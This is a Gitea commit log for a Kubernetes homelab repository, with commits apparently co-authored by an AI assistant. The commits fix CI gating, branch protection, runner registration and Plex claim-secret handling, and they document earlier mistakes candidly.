declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.
infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.
UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
e8e6b9c681 |
Merge pull request 'fix(gitea): admins could override the gate' (#10) from fix/gitea-admins-could-override-the-gate into main
Reviewed-on: #10 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
fcc66c7858 |
fix(gitea): admins could override the gate -- the enforcement was not enforcing
enable_status_check and required_approvals were set earlier today and recorded as done. They did not bite. block_admin_merge_override was false, and Gitea lets repo admins override merge requirements without it. jakman85 holds owner, so both requirements were bypassable by exactly the account that performs every merge. The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1 was in force, with ZERO approvals recorded on any of them. Two process failures, both the same shape as the defect this whole session started with: 1. Verified with the wrong view. /branches/main reports protected, enable_status_check and required_approvals but NOT block_admin_merge_override -- it showed everything green while the rule was overridable. /branch_protections/main is authoritative. 2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`; asking jq for it returns null, which reads like "set to false" but means "key absent", so a PATCH that silently did nothing produced a convincing before/after. jq returning null is not a value -- it may be an absence. Enumerate with to_entries. require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it in isolation. Both carry the field-name warning. This PR is the test. If it merges WITHOUT an approval, the fix did not work. Also records the governance question: with only jakman85 (human) and gitea-admin (agent), a human-authored PR now needs the automation account to approve it. That is ceremony, not review, and the choice between keeping it, dropping approvals in favour of the status check, or adding a second human is the operator's to make. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
b9e8a4f9e8 |
Merge pull request 'docs(ci): close out the hardening; correct a claim that shipped wrong' (#9) from docs/close-out-ci-hardening into main
Reviewed-on: #9 |
||
|
jakman85andClaude Opus 5
|
b2d9883958 |
docs(ci): close out the hardening -- land the scripts, correct a claim that shipped wrong
The branch-protection + PR-gate + sidecar sequence is complete and verified. This records the finished state and fixes what the sequence itself proved wrong. CORRECTS A FALSE CLAIM I SHIPPED. PR #7 said the sidecar conversion would remove the one-per-start dockerd line "http: TLS handshake error from 127.0.0.1: EOF". It does NOT. Exactly one still appears, immediately after "API listen on [::]:2376" -- it is now the startupProbe's FIRST attempt, landing microseconds after dockerd begins listening and cut off by timeoutSeconds: 1; the next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one benign startup line would slow every subsequent poll. The manifest comment now states this instead of the wrong prediction. Lands infra/gitea/require-gate.sh and verify-then-enforce.sh, which drove the rollout from a session temp dir. verify-then-enforce.sh merges nothing -- merging is a human's reviewed act -- but forces the reconcile and ABORTS unless the pod is healthy, a runner is online, and a real workflow goes green on it, before enabling enforcement and probing the push. Re-run it after any future act-runner change. Trims the now-obsolete feat/ rationale from claim-ship.sh: per-branch push triggers were deleted, so no prefix produces a duplicate run any more. CLAUDE.md's enforcement table flips from "weaker than this rule" to machine-enforced, with all four rows marked verified and the push rejection noted as PROVOKED rather than assumed. It also now states what a green PR does NOT prove: CLUSTER_AVAILABLE is unset, so L2/L3 never runs in CI and only the L0/L1 offline subset is covered. infra/gitea/README.md marks the sequence done and names the root cause that remains unfixed: Gitea repo settings live in its own database, invisible to Flux and unreadable by the conformance gate, so NOTHING detects drift from what this directory declares. These scripts assert desired state; they are not a detector. The check that reads the live API and fails on divergence is the highest-value work left, and it is the difference between this being fixed and this being unable to recur. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
00efd4b828 |
Merge pull request 'fix(ci): convert dind to a native sidecar; delete both wait loops' (#7) from fix/dind-native-sidecar into main
Reviewed-on: #7 |
||
|
jakman85
|
67a54a33a4 |
Merge pull request 'fix(ci): delete the per-branch push triggers instead of adding feat/**' (#6) from fix/gate-push-trigger-matches-feat-prefix into main
Reviewed-on: #6 |
||
|
jakman85
|
db1a623073 |
Merge pull request 'docs(runbooks): the PR flow, not git push origin main' (#5) from docs/runbooks-pr-flow into main
Reviewed-on: #5 |
||
|
jakman85
|
ce271225de |
Merge pull request 'docs: correct CI/platform documentation that was stale or wrong' (#8) from docs/ci-reality-vs-phase-0 into main
Reviewed-on: #8 |
||
|
jakman85andClaude Opus 5
|
e72050c690 |
docs: correct CI/platform documentation that was stale, wrong, or load-bearing
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no runner -- while the tree asserted both. This corrects the documents that carried, and in several cases CAUSED, that belief. CLAUDE.md gains section 2b: never infer platform state from this repository. It carries the specific API and kubectl checks for protection, runners, CI status, workloads and Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea job reports success). This is the rule whose absence produced every other finding. .gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host, this file is dormant". Gitea had been live for weeks. Both were written as plans and never revisited once the plan completed. The Transition section is now marked COMPLETE and says what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI). DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously hit "required status check; runner incluster-dind online" with nothing marking it false until a month later. The correction now sits on the bullet itself. ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an expected phase. That framing is why the gap went unexamined. apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to `sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded that a fresh token alone does not re-register a runner holding a stale /data/.runner. apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder. It has not since the claim -- it holds the spent token, which is inert and deliberately left in place. catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was uncited, upstream documents no expiry, and it was the basis for a since-disproven claim that the pipeline was too slow to fit inside it. Measured: ~2m45s. Both .sops.yaml files were verified to still decrypt after the comment edits (`sops -d > /dev/null`), and render==golden confirms the catalog comment does not propagate into the rendered manifest. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
761e25cc3f |
docs(runbooks): two more uncited "4-minute" claims the first pass missed
A systematic grep for the TTL assertion found it still in runbooks/README.md and in runbooks/kustomization.yaml, outside the page being rewritten. Same correction: the countdown on plex.tv/claim is the authority, not a number in our tree. README.md also now records that the server is CLAIMED and points at claim-ship.sh with the measured ~2m45s loop, rather than describing a push-based sequence that no longer exists. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
e7508931ca |
fix(ci): convert dind to a native sidecar; delete both hand-rolled wait loops
Executes the FOLLOW-UP that has been carried in this manifest since the readiness fix,
now that k3s is v1.36 and sidecar containers are GA.
dind moves into initContainers as the first entry with restartPolicy: Always -- the one
field that makes an initContainer a sidecar: it starts before the regular containers,
runs alongside them, and is terminated after them. kubelet therefore enforces the
ordering that the runner used to hand-roll, so the runner drops its command: override
and runs the image's own entrypoint.
The startupProbe execs a full TLS-verified `docker ... info`, NOT a tcpSocket probe. A
tcpSocket probe would re-open the exact gap the old Stage 1 existed to close: dockerd
writes the TLS certs and only THEN starts listening, so the port can accept a connection
while the certs are absent, and act_runner hard-exits on a missing
/certs/client/ca.pem. `docker info` proves both that the certs are usable and that the
daemon answers. periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
It also removes the one-per-start dockerd log line
http: TLS handshake error from 127.0.0.1: EOF
which was the old `nc -z` probe opening a TCP connection and closing it without a TLS
handshake -- an error we were generating ourselves and then reading in the logs.
SECONDARY WIN: deleting the shell deletes an envsubst hazard. apps-wave-1 runs postBuild
substitution over this ENTIRE manifest, comments included, and those loops depended on
bare dollar-names passing through untouched -- a braced or double-dollar spelling would
have silently unbounded the waits or failed the whole Kustomization. The only dollar left
in the file is the intended ${BASE_DOMAIN}.
LANDS ALONE, DELIBERATELY. This Deployment is the merge gate for the entire repository:
if the conversion is wrong, nothing can merge. Merge this BEFORE enabling the required
status check, and watch a real workflow run green on the converted pod before doing so --
otherwise a bad conversion locks the repo with no way to revert through the gate.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
bf98a99af6 |
fix(ci): delete the per-branch push triggers instead of adding feat/** to them
The tracked next-step said "align gate.yml's push trigger with this repo's feat/** prefix". Doing that literally would have made things worse, so this does the opposite. act_runner runs at capacity 1. A branch push and its PR fire the SAME gate over the SAME tree, and the redundant run SERIALISES AHEAD of the PR run -- doubling the wall clock on the one result that gates the merge. Adding another prefix widens that, it does not fix it. infra/plex/claim-ship.sh currently has to pick a feat/ branch name specifically to DODGE this, during a loop that is racing a short-lived token. The prefix list also silently failed to match this repo's own convention: branches here are feat/**, which was absent, so the "fast feedback" never fired for the most common prefix. Nobody noticed for a month because the only symptom of a wrong entry is a MISSING run. Any hand-maintained prefix list has that failure mode. Deleting the list removes the whole class rather than correcting one entry. It was redundant anyway: CLAUDE.md already requires ./ci/gate.sh in the pinned toolbox before pushing (74s locally), and the PR gate re-runs it authoritatively. push: [main] is KEPT -- post-merge main must still be verified, and it is the only run for which no PR context exists. FOLLOW-UP once this and #5 are both merged: the feat/ rationale in infra/plex/claim-ship.sh becomes obsolete and its comment should be trimmed. The script keeps working either way. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8e017fad91 |
docs(runbooks): the PR flow, not git push origin main -- that instruction is now blocked
main became a protected branch on 2026-09-29, so the direct push that 37 of 39 runbooks instructed is REJECTED. The wording was merely stale before; it is now actively wrong, and it is the line an operator reads mid-incident. Every occurrence now describes the real path: push a branch, open a PR, merge once the gate is green -- that merge is the deploy. 35 files shared one identical block; flux-reconcile.md, README.md and plex-claim.md each said it their own way and were corrected individually. plex-claim.md is rewritten around the delivery loop and records that THE SERVER IS NOW CLAIMED (PlexOnlineToken present in /config), so PLEX_CLAIM is a permanent no-op and the page only applies after a /config wipe. Adds infra/plex/claim-ship.sh, which drives branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verdict with a stopwatch. Three steps are easy to lose under time pressure and two are SILENT when skipped: --with-source (without it the Kustomization applies the previously-fetched revision), the mandatory rollout restart (only the ciphertext changes, so the pod template is byte-identical and nothing restarts itself), and the feat/ branch prefix (act_runner capacity is 1, and a prefix inside gate.yml's push trigger fires a redundant run that serialises ahead of the PR run). Drops the "~4-minute TTL" the page asserted in four places. It was uncited, and upstream pms-docker documents no expiry at all. The countdown on plex.tv/claim is the authority. Measured loop: ~2m45s. DECISIONS-LOG carries the PM handoff: both halves of the 2026-08-31 CI claim were false, the stale-.runner root cause, the four-deep Flux dependency cascade, and the correction that a skipped Gitea job reports success rather than hanging. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
 gitea-admin
|
27d0ef3324 | Merge pull request 'chore(plex): fresh plex.tv claim token' (#4) from feat/plex-claim-token-013124 into main | ||
|
jakman85
|
bbd4f682a6 |
chore(plex): fresh plex.tv claim token
Injected inside the plex.tv claim window per runbooks/plex-claim.md. |
||
|
jakman85
|
0391139240 |
Merge pull request 'feat(plex): wire PLEX_CLAIM from a SOPS Secret (placeholder value)' (#1) from feat/plex-claim-sops-secret into main
Reviewed-on: #1 |
||
|
jakman85
|
e9f441b5ce |
Merge pull request 'docs(gitea): a skipped job reports SUCCESS, not pending' (#3) from fix/conformance-context-is-fail-open into main
Reviewed-on: #3 |
||
|
jakman85andClaude Opus 5
|
234cc6a71a |
docs(gitea): a skipped job reports SUCCESS, not pending -- correct the deadlock claim
The runner came up on 2026-09-29 and the first CI jobs this repo has ever run went green, which falsified a claim merged in #2. MEASURED: gate / gate (pull_request) success 1m58s (PR 1), 1m34s (PR 2) gate / gate (push) success 1m32s (PR 2 only) gate / conformance (pull_request) success "Has been skipped" #2 said listing the conformance context as a required check would deadlock every PR, because the job is `if: false` and never runs. That is wrong. Gitea reports a skipped job as SUCCESS. Requiring it would not deadlock anything -- it would pass VACUOUSLY, forever, while nothing ran. The conclusion is unchanged (never require it) but the reason inverts, and the corrected reason matters more: under HARD RULE 4 a permanently-green check that verifies nothing is worse than a deadlock. A deadlock is loud. This is the exact fail-open shape the 2026-09-18 audit and this one both keep finding. Also records that the (push) contexts only appear for branches matching gate.yml's push trigger -- feature/**, fix/**, docs/**, chore/** -- and NOT feat/**, which is why PR 1's feat/ branch produced only pull_request contexts. Require the pull_request context alone, or PRs from non-matching prefixes never satisfy the rule. CLAUDE.md's enforcement table is updated: the runner half is genuinely fixed and observed green, the branch-protection half is not. Adds the warning that a green tick is not by itself evidence that anything ran. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
69a0d1a1c7 |
Merge pull request 'docs: delivery contract for agents + record that the merge gate does not exist' (#2) from docs/ci-delivery-flow-for-agents into main
Reviewed-on: #2 |
||
|
jakman85
|
d3a0d587a4 | Added gitea action runner secret | ||
|
jakman85andClaude Opus 5
|
fe862ab527 |
infra(gitea): recover the Actions runner before anything requires the gate
No runner is registered at repo, org or site level, so gate.yml has never executed. PR #1 sat pending for 30.6 minutes across 122 polls and never reported. Requiring the gate as a status check in that state would lock the repo permanently. Adds runner-token-rotate.sh: mints a fresh instance-level registration token from the Gitea API and writes it into the SOPS secret via sops set, without ever printing the value. Records the likely root cause, which a new token alone does NOT fix. act_runner registers once and persists its identity in /data/.runner on the act-runner-data PVC. If Gitea no longer holds a matching runner row, the pod starts, sees .runner, SKIPS registration entirely, and polls with an identity Gitea does not recognise. Symptom: zero runners, pod running, nothing obviously broken. Clearing the PVC is what forces a genuine re-registration. The README now sequences runner-first, enforcement-second, and requires CONFIRMING the runner reports online rather than assuming it. That assumption is the whole defect: DECISIONS-LOG recorded the runner as online on 2026-08-31 and nobody checked since. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
a2665c0511 |
infra(gitea): script the branch protection that was never applied
Gitea repo settings live in its own database, not in a manifest Flux reconciles, so they are drift-prone and invisible to the conformance gate -- which is how main came to accept direct pushes while the log recorded it as protected. Adds infra/gitea/branch-protection.sh (blocks direct pushes to main) and a README carrying the measured before-state and the ORDER the remaining steps must happen in. The script deliberately leaves enable_status_check:false and required_approvals:0. Both would deadlock today: there is no runner to satisfy a required context, and the only human account is not yet a repo collaborator, so no one could supply an approval. The README sequences both. It prints a push probe to run afterwards. The API response is not proof -- Gitea may let site admins bypass protection, and that has to be observed, not assumed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
5a9e455149 |
docs: delivery contract for agents + record that the merge gate does not exist
Going to land the plex claim wiring through the documented PR flow surfaced that the flow has never run. PR #1 is the first pull request this repo has ever had. Verified against the live Gitea, not inferred from the docs: * branch_protections is [] -- main is protected:false, enable_status_check:false, status_check_contexts:[], required_approvals:0, user_can_push:true * ZERO Actions runners registered at repo, org and site level DECISIONS-LOG 2026-08-31 asserts a "required status check" and a runner "incluster-dind online". Both are false of the live system. The gate is neither enforced nor able to run, and that went unnoticed because the log claimed otherwise -- the same fail-open class as the two holes found on 2026-09-18. Adds CLAUDE.md, the first agent-facing delivery doc here: the branch -> PR -> gate -> approval -> merge rule, stated alongside the honest fact that enforcement is currently weaker than the rule, so agents follow the rule rather than what they can get away with. Carries the toolbox gate invocation, the two git-worktree workarounds, the rc 0/1/3 contract, and secret handling. Records the ordering trap: enabling a required status check before a runner exists deadlocks every PR permanently, including the one that would fix it. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
4fd75ccdaa |
feat(plex): wire PLEX_CLAIM from a SOPS Secret so the server can be claimed
Plex cannot create libraries over the already-mounted 8.33T NFS bulk share while the server is UNCLAIMED. catalog/plex.yaml carried a long argument for leaving PLEX_CLAIM unwired; the operator has decided to override it. This implements the wiring in the way that respects the half of that argument which is still true. WHAT WAS TRUE AND STILL IS: a https://plex.tv/claim token has a ~4-minute TTL, far shorter than commit -> push -> Flux reconcile -> pod-roll on its own timers. So the committed value is a documented PLACEHOLDER and the live token is injected by the operator inside that window, with the reconcile FORCED rather than waited for. runbooks/plex-claim.md is that timed procedure. WHAT WAS NOT TRUE: the old comment claimed "a placeholder/absent claim Secret would crashloop the pod". Half of that is wrong, and the difference is the whole design. Established from plexinc/pms-docker's own first-run script (branch `master`, root/etc/cont-init.d/40-plex-first-run, s6-overlay v2), cross-checked byte-identical against the same file inside the running :latest image: * the claim exchange (line 106) is gated on PLEX_CLAIM being non-empty AND the PlexOnlineToken pref in /config being empty. Once the server is claimed the block is skipped entirely, so the env is a NO-OP on every later start whatever it holds ("If server is already logged in, this parameter is ignored" -- upstream README). * with an invalid/expired token on a still-unclaimed /config, plex.tv answers 403 with an empty body; curl's status is never checked, the token sed yields empty, the success branch at line 120 does not fire, there is no else branch and no non-zero exit, and the script (no `set -e`) exits 0. The pod comes up UNCLAIMED AND SERVING. It does not crashloop. * the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS (default 0 = continue even if a cont-init script failed), so even a non-zero exit would not halt startup. An ABSENT Secret is the real hard failure (secretKeyRef has no `optional`, so it is CreateContainerConfigError), which is why the Secret is committed, encrypted and listed in the wave kustomization rather than hand-created at claim time. NO SCHEMA CHANGE. `optional` on secretKeyRef would only be needed if the pod had to tolerate a missing Secret or could not start without a VALID token. Neither holds: the Secret always exists in the Flux graph, and an invalid token is non-fatal. schemas/servicedefinition.schema.json is untouched, and so are catalog/render.py's env emission and the renderer contract. Changes: * apps/wave-0/plex-claim-secret.sops.yaml -- new Opaque Secret plex-claim/plex, key PLEX_CLAIM, SOPS-encrypted to the committed age recipient. Its header carries NO dollar-brace expressions on purpose: kustomize preserves body comments into the stream envsubst reads (per conformance/tests/l0-static/flux-postbuild-substitution), so quoting the upstream shell conditions verbatim would have been a live substitution hazard on apps-wave-0, not prose. * catalog/plex.yaml -- the PLEX_CLAIM env via valueFrom.secretKeyRef, the "deliberately NOT set" block rewritten around the TTL + one-shot design, and the stale crashloop claim in the /config storage comment corrected. * apps/wave-0/plex.yaml -- re-rendered with the canonical command (`--all catalog -o apps --wave-layout --no-image-automation`). No L1 golden under conformance/tests/l1-rendering covers plex, so this is the only rendered surface that moves. * catalog/render.py -- plan_apps_waves places `<svc>-claim-secret.sops.yaml` in the app's OWN wave, like the bootstrap secret, plus a selftest assertion. Without this, the next `--emit-waves` would have silently dropped the Secret from apps/wave-0/kustomization.yaml and put the pod into CreateContainerConfigError. apps/wave-0/kustomization.yaml is the hand-pruned subset (vm-demo/keycloak are rendered but deliberately unlisted), so its one new line was applied without re-emitting the rest. * runbooks/plex-claim.md + its kustomization.yaml generator entry + README index -- the operator procedure that fits in 4 minutes, including the single forced-reconcile command and the mandatory pod roll (a changed Secret does NOT restart anything: PLEX_CLAIM is read only at container start and the pod template is byte-identical across this change). Touched requirements: R-SEC-01 (secrets encrypted at rest), R-GITOPS-02 (ServiceDefinition onboarding contract). Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
d7f24d0a9e | merge: fix/unit-test-coverage-means-asserted-not-mentioned | ||
|
jakman85andClaude Opus 5
|
712f4c9336 |
fix(conformance): "unit-tested" counted an alert MENTIONED in a comment as tested
alert-rules-unit-tested decided whether an alert had a unit test with a bare word
match over the whole test file. Any mention counted — including prose in a `#`
comment.
Hit for real while adding platform/monitoring/tests/vpn-egress.test.yaml. Its header
explains that VPNTunnelDown stays quiet during an egress-steering failure, and that
sentence alone made this check declare VPNTunnelDown "asserted on" and demand its
removal from UNTESTED_ALERTS. Removing the entry would have recorded coverage that did
not exist — the precise "looks fixed" outcome this check exists to prevent, produced
by the check itself. (In that instance I made the coverage real instead, which also
exposed that the fixtures were missing tun0's receive counter entirely.)
Now an alert counts only when a test file names it in an assertion position, with
comment lines stripped first so a commented-out assertion does not count either.
BOTH promtool idioms are accepted, because both are real assertions:
alert_rule_test: - alertname: CNPGPrimariesCoLocated
promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
Matching only the first is not a stricter check, it is a WRONG one: it reported
CNPGPrimariesCoLocated as untested when platform/cnpg/alerts.promtool-test.yaml pins
it across four scenarios entirely through the second form. Believing that would have
produced a redundant duplicate test for an alert already covered better than most —
so the first version of this very fix had to be corrected before it landed.
MEASURED BEFORE LANDING, because the registers are shrink-only and a prose-only alert
would have required an entry this check forbids adding: of 61 alerts, 32 are asserted
in one of the two idioms, 29 are not mentioned at all (already declared), and ZERO were
prose-only. So this tightening failed nothing on the day it landed.
My first measurement said 31/30/0 and was wrong in a way worth recording: it scanned
only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companion
convention, which is exactly what hid the CNPGPrimariesCoLocated false negative.
Verified in both directions: 134 assertions pass with the real coverage intact, and a
temporary prose-only mention of NodeExporterDown (a registered untested alert) leaves
it correctly listed as untested instead of triggering the stale-entry failure.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
|